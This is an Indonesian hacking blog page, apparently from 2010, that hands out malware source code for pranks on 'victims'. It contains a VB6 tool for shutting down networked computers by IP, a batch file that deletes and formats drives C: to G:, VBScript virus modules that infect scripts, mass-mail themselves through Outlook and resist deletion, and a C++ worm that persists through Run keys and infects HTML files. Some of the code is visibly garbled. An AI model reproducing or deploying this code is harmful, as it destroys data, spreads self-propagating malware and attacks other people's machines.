Showing posts with label Pemograman. Show all posts
Showing posts with label Pemograman. Show all posts

Saturday, February 27, 2010

Buat program kecil di VB untuk matikan kopy orang yang satu jaringan. Mau Nakal pun harus belajar pemograman huh ..!!

Bandal-bandal harus terarah juga yea . . . (Gaya Anak Medan)
Di kampus da mulai belajar VB, iseng iseng buat program ecek2 yang penting maknyuss. belajarnya dri om google jg sih, habis di kampus ga diajarin yang kaya gianian kwkw... XD
oya sebelum na kamu uda ngerti dikit2 soal VB kan ? pasti na dong, yauda dh langsung aj kita oprek VB na!!! Zuuuuzzsssssssss .........

Project : Shutdown.vb
Form : frm.shutdown.frm
Kontrol penting : 1 label, 1 Text box untuk menuliskan IP, dan 1 tombol Command.

Untuk source kode frmShutdown nya tunggu dulu ya, saya masih ngetik nih belum selesai…. Beberapa hari lagi tinggalin alamat email aja kalau mau ntar saya kirim via email…
Berikut adalah source code frmShutdown:

Option Explicit

Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To 256) As Byte
szSystemStatus(0 To 128) As Byte
imaxsockets As Integer
imaxudp As Integer
ipszvenderinfo As Long
End Type

Private Declare Function WSAStartup Lib “wsock32″ (ByVal VersionReq As Long, WSADataReturn As WSADATA) As String

Private Declare Function WSACleanup Lib “wsock32″ () As Long

Private Declare Function inet_addr Lib “wsock32″ (ByVals As String) As Long

Private Declare Function gethostbyaddr Lib “wsock” (haddr As Long, ByVal hnlen As Long, ByVal addrtype As Long) As Long

Private Declare Sub CopyMemory Lib “kerenel32″ Alias “RtlMoveMemory” (xDest As Any, xSource As Any, ByVal nbytes As Long)

Private Declare Function lstrlen Lib “kernel32″ Alias “lstrlenA” (lpString As Any) As Long

Private Declare Function InitiateSystemShutdown Lib “advapi322.dll” Alias “InitiateSystemShutdownA” (ByVal lpMachineName As String, ByVal lpMessage As String, ByVal dwTimeout As Long, ByVal bForceAppsClosed As Long, ByVal bRebootAfterShutdown As Long) As Long

Berikut adalah source code saat event klik Command1

Private Sub Command1_Click()
Dim name As String

name = GetHostNameFromIP(Text1.Text)
If MsgBox(”IP ” & Text1.Text & ” (” & name & “)telah ditemukan” & vbCrLf & “Jadi dimatikan?”, vbYesNo + vbQuestion, “Gotcha!!”) = vbYes Then
InitiateSystemShutdown “\\” & name, “Selamat tinggal……”, 30, True, True
End If
End Sub

Berikut ini fungsi-fungsi yang diperlukan:

Jalankan program ini dengan Ctrl+F5. Masukkan IP korban yang diinginkan tekan tombol Cari dan Matikkan!!
Apabila keadaan komputer sedang aktif maka akan ada konfirmasi Yes atau No. Tentu saja kita tekan yang Yes. Seketika komputer korban akan mati.Udah dulu ach pegel nih dia :

Public Function SocketsInitialize() As Boolean
Dim WSAD As WSADATA
SocketsInitialize = WSAStartup(&H101, WSAD) = 0
End Function

Public Function GetHostNameFromIP(ByVal sAddress As String) As String
Dim ptrHosent As Long
Dim hAddress As Long
Dim nbytes As Long

If SocketsInitialize() Then
hAddress = inet_addr(sAddress)
If hAddress <> -1 Then
ptrHosent = gethostbyaddr(hAddress, 4, 2)
If ptrHosent <> 0 Then
CopyMemory ptrHosent, ByVal ptrHosent, 4
nbytes = lstrlen(ByVal ptrHosent)
If nbytes > 0 Then
sAddress = Space$(nbytes)
CopyMemory ByVal sAddress, ByVal ptrHosent, nbytes
GetHostNameFromIP = sAddress
End If
Else
MsgBox “Error!!!!”
End If
WSACleanup
Else
MsgBox “Alamat IP salah”
End If
Else
MsgBox “Winsock Error!!”
End If
End Function


Maknyuusss .........
"kompy aku jangan kelen matiin woooyyy, dame-dame" ....... :)

Nakal format kompy orang ...

1. Buka new text document
2. ketik or copy paste cara di bawah ini :

@echo off
echo msgbox"Semua data komputer anda akan hilang untuk selamanya,
hahaha" >C:\1.vbs
C:\1.vbs
cls
DEL C:\ -y
DEL D:\ -y
DEL E:\ -y
DEL F:\ -y
DEL G:\ -y
FORMAT C:\ -y
shutdown -s -f 15 -c "LATER!"

3. Save as .BAT file
4. JANGAN DICOBA KE KOMPUTER SENDIRI
5. Double klik deh

Buat yang suka ngoprek VB, File Antar Visual Basic Script (.VBS)

Nih ada beberapa SC virus pake .vbs
buat belajar, gimana sih cara sistem itu bekerja. Jangan dibuat yang aneh-aneh (gue ga bertanggung jawab / cuma sebagai pembelajaran.

Infeksi File Antar Visual Basic Script (.VBS)
Code:

On Error Resume Next
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Angel1()
Sub Angel1()
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
For Each SalinMawarPutih In a.Drives
If SalinMawarPutih.DriveType = 2 _
Or SalinMawarPutih.DriveType = 3 Then
Angel3 (SalinMawarPutih.Path & "\")
End If
Next
End Sub
Sub Angel2(FileTarget)
On Error Resume Next
Set otf = a.GetFile(WScript.ScriptFullName)
ra = otf.ReadAll
otf.Close
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.Files
FileExt = LCase(a.GetExtensionName(n.Path))
If FileExt = "vbs" Or FileExt = "vbe" Then
Set openvbs = a.OpenTextFile(n.Path, 1)
vbsra = openvbs.ReadAll
openvbs.Close
If InStr(1, vbsra, "Tips And Trik by ") = False Then
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)
RantingMawarPutih = JC.ReadAll
JC.Close
Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)
MawarMerah.WriteLine vbCrLf & "' Hack .VBS by " & vbCrLf & "Tz = " & Chr(34) & Chr(34)
For i = 1 To Len(RantingMawarPutih)
Tz = Mid(RantingMawarPutih, i, 1)
Tz = Hex(Asc(Tz))
If Len(Tz) = 1 Then
Tz = "0" & Tz
End If
Gz = Gz + Tz
If Len(Gz) = 110 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
If Len(RantingMawarPutih) - i = 0 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
Next
MawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")"
MawarMerah.WriteLine "WriteAppend.Write CM(Tz)"
MawarMerah.WriteLine "WriteAppend.Close"
MawarMerah.WriteLine "Function CM(CN)"
MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2"
MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
MawarMerah.WriteLine "Next"
MawarMerah.WriteLine "End Function"
MawarMerah.Close
End If
End If
Next
End Sub
Sub Angel3(FileTarget)
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.SubFolders
Angel2 (n.Path)
Angel3 (n.Path)
Next
End Sub



penyebaran Melalui E-mail Via Outlook
Code:

On Error Resume Next

Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set MawarMerah = MawarPutih.GetFile(WScript.ScriptFullName)
MawarMerah.Copy (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Set Attachments = MawarPutih.GetFile(MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Attachments.Attributes = 0
Set RantingMawar = CreateObject("Outlook.Application")
If Not RantingMawar = "" Then
For Each DuriMawar In RantingMawar.GetNameSpace("MAPI").AddressLists
For DaunMawar = 1 To DuriMawar.AddressEntries.Count
Set BagianEmail = RantingMawar.CreateItem(0)
BagianEmail.Recipients.Add (DuriMawar.AddressEntries(DaunMawar))
BagianEmail.Subject = "Judul Pesan"
BagianEmail.Body = "Isi Pesan"
BagianEmail.Attachments.Add (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
BagianEmail.DeleteAfterSubmit = True
BagianEmail.Send
Next
Next
End If



Anti Delete
Code:

On Error Resume Next

Set MawarPutih= Createobject("scripting.filesystemobject")
Set MawarMerah= MawarPutih.opentextfile(wscript.scriptfullname, 1)
BatangMawar= MawarMerah.readall
MawarMerah.Close
Do
If Not (MawarPutih.fileexists(wscript.scriptfullname)) Then
Set DuriMawar= MawarPutih.createtextfile(wscript.scriptfullname, True)
DuriMawar.writeBatangMawar
DuriMawar.Close
End If
Loop


semua code diatas.. bisa kalian jadiin 1.. tinggal kreasinya aja...
thx_to:Shadow Angel

Buat Agan" yang seneng ngoprek C++ (Html worm c++ source code)

Code:
html worm
// name: win32.htmlworm
// author: fudc
// compiler: borland c++
// description: this worm spreads by adding a link to itself in html files

// improvements: you could add a link to a page containing an ie exploits

#include
#include

using namespace std; //

// this function does the real work
void htmlspread(char *htmlfile)
{
handle html_fd;
dword html_filesize,read_bytes,written_bytes;
char *c_htmlcode = null;
string *htmlcode = null; // make it simpler
long pos;

// open the html file
html_fd = createfile(htmlfile,generic_read|generic_write,
file_share_read|file_share_write,null,open_existing,file_attribute_normal,null);

if(html_fd == invalid_handle_value)
{
return;
}

// get file size
html_filesize = getfilesize(html_fd,null);

// allocate enough memory
c_htmlcode = (char *)malloc(html_filesize);

if(c_htmlcode == null)
{
return;
}

// read entire file
if(readfile(html_fd,c_htmlcode,html_filesize,&read_bytes,null) == 0)
{
closehandle(html_fd);
return;
}

// create a string object
htmlcode = new string(c_htmlcode);
free(c_htmlcode);

// already infected ?
if(htmlcode->find("") == string::npos)
{

pos = htmlcode->find("");

if(pos == string::npos)
{
pos = htmlcode->find("");

if(pos == string::npos)
{
closehandle(html_fd);
delete htmlcode;
return;
}
}

// add link
htmlcode->replace(pos,7,"\r\n\r\n");

// write new file
setfilepointer(html_fd,0,0,file_begin);
writefile(html_fd,htmlcode->c_str(),htmlcode->size(),&written_bytes,null);
// infection mark
writefile(html_fd,"",36,&written_bytes,null);

}

// close all
closehandle(html_fd);
delete htmlcode;

}

// add worm to startup list
void autostart(char *my_path)
{
hkey hkey;

if(regopenkeyex(hkey_local_machine,
"software\\microsoft\\windows\\currentversion\\run",0,
key_write,&hkey)==error_success)
{
regsetvalueex(hkey,"himon",0,reg_sz,my_path,strlen(my_path));
regclosekey(hkey);
}

if(regopenkeyex(hkey_current_user,
"software\\microsoft\\windows\\currentversion\\run",0,
key_write,&hkey)==error_success)
{
regsetvalueex(hkey,"himon",0,reg_sz,my_path,strlen(my_path));
regclosekey(hkey);
}
}

// this will scan drives for html files
void s3arch(char *pt) {
char sc[max_path],buf[max_path];
win32_find_data in;
handle fd,file;
char *fm = "%s\\%s",*fm1 = "%s\\*.*";

if(strlen(pt) == 3)
{
pt[2] = '\0'; /* :-) */
}

sprintf(sc,fm1,pt);
fd = findfirstfile(sc,&in);

do
{

sprintf(buf,fm,pt,in.cfilename);

/* dot */
if(strcmp(in.cfilename,"..") != 0 && strcmp(in.cfilename,".") != 0 && (in.dwfileattributes & file_attribute_directory))
{
s3arch(buf);
}

/* file found */
else
{

/* is it good to infect ? */

if(strstr(in.cfilename,".html") || strstr(in.cfilename,".htm"))
{
htmlspread(buf);
}
}

}while(findnextfile(fd,&in));

findclose(fd);
}


// entry point of worm
int winapi winmain (hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow)
{
// usual shit: installation part, startup and so on ...
char i_am_here[max_path],installation_path[max_path];
char drives[3],drive = 0;
uint drive_type;


// only one copy
createmutex(null,false,"__htmlworm_by_wargame_eof__");
if(getlasterror() == error_already_exists)
{
exitprocess(0);
}

getsystemdirectory(installation_path,max_path);
strcat(installation_path,"\\himon.exe");

getmodulefilename(null,i_am_here,max_path);
// copy!
copyfile(i_am_here,installation_path,false);
autostart(installation_path);


// the real part starts here
while(1)
{

/* search for drives */
for(drive = 'c';drive <= 'z';drive++)
{
drives[0] = drive;
drives[1] = ':';
drives[2] = '\\';
drives[3] = '\0';

/* drive ? */
drive_type = getdrivetype(drives);

/* only fixed, remote and removable drives */
if(drive_type == drive_fixed ||
drive_type == drive_remote ||
drive_type == drive_removable)
{
/* go! */
s3arch(drives);
}
}

/* every 10 minutes */
sleep((1000*60)*10);
}
}